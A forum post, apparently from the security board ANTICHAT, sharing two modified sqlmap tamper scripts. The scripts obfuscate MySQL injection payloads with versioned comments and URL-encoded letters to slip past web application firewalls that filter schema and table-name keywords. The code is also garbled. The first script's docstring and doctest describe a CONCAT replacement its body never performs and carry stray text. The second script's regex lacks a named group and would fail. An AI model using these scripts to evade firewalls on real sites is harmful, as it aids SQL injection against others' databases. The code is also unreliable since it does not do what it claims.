ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#!/usr/bin/env python

"""
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass very weak and bespoke web application firewalls
          that filter the CONCAT() function

    >>> tamper('CONCAT(1,2)')
    'CONCAT_WS(MID(CHAR(0),0,0),1,2)'%73CHEMA
    """

    if payload:
        payload = payload.replace("INFORMATION_SCHEMA.TABLES", "/*!12345%49NFORMATION_SCHEMA.TABLES*/")
        payload = payload.replace("table_schema", "/*!12345%74able_schema*/")
        payload = payload.replace("table_name", "/*!12345%74able_name*/")
        payload = payload.replace("SCHEMA", "%73CHEMA")   
        payload = payload.replace("schema", "%73chema")       

    return payload

#!/usr/bin/env python

import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHER

def tamper(payload, **kwargs):

    def process(match):
        word = match.group('word')
        return match.group().replace(word, "/*!12345%s*/" % word)

    retVal = payload
    if payload:
        repStr = "table_name|information_schema"
        retVal = re.sub(r"(?P" + repStr + ")", lambda match: process(match), retVal,flags=re.IGNORECASE)

    return retVal